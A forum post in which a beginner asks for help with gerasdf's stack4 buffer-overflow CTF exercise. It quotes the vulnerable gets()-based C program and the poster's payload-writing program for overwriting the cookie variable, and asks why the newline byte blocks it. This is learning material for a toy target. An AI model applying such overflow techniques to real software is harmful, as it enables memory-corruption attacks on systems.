I am a total beginner in CTF challenges (and not much of an expert in programming in general if I'm being honest) and I've been playing around with gerasdf's InsecureProgramming exercises as a way to learn. I've completed the "stack" exercises 1, 2, and 3, but I'm stuck on the 4th.
Here is the challenge, stack4.c:
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
printf("%x\n", cookie); // I added this line
if (cookie == 0x000d0a00)
printf("you win!\n");
}
The idea is to use a buffer overflow exploit on buf, since gets() doesn't check input length, to overwrite the memory space of the adjacent "secret" variable cookie, and make its value 0x000d0a00.
I compile the file like this: gcc stack4.c -fno-stack-protector -o stack4
Then my solution, similar to what I've used for the other challenges, was this small script stack4_solution.c:
#include <stdio.h>
#include <unistd.h>
int main() {
char s[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; // --> 92 'A's
int nlcr = 0x0D0A;
write(STDOUT_FILENO, s, sizeof(s)); // writes 92 'A's and a \x00
write(STDOUT_FILENO, (void*)&nlcr, 3); // writes \x0A\x0D and a \x00
fflush(stdout);
}
which I compile, and then execute like this in bash:
./stack4_solution | ./stack4
This approach worked with the previous exercises, but in this one, the secret is 0x000d0a00, which contains the newline character \x0A. I think the output of my script is correct, because when I dump it to a file (./stack4_solution > file) it checks out, but when feeding it to the input of the stack4 program, the gets() function stops reading when it encounters the newline \x0A. In fact to my understanding, gets() only reads until a newline, but discards it without actually storing it, so I don't know how I could make the program store a newline at all.
Am I understanding something wrong maybe? Does anyone have a solution?
cookie.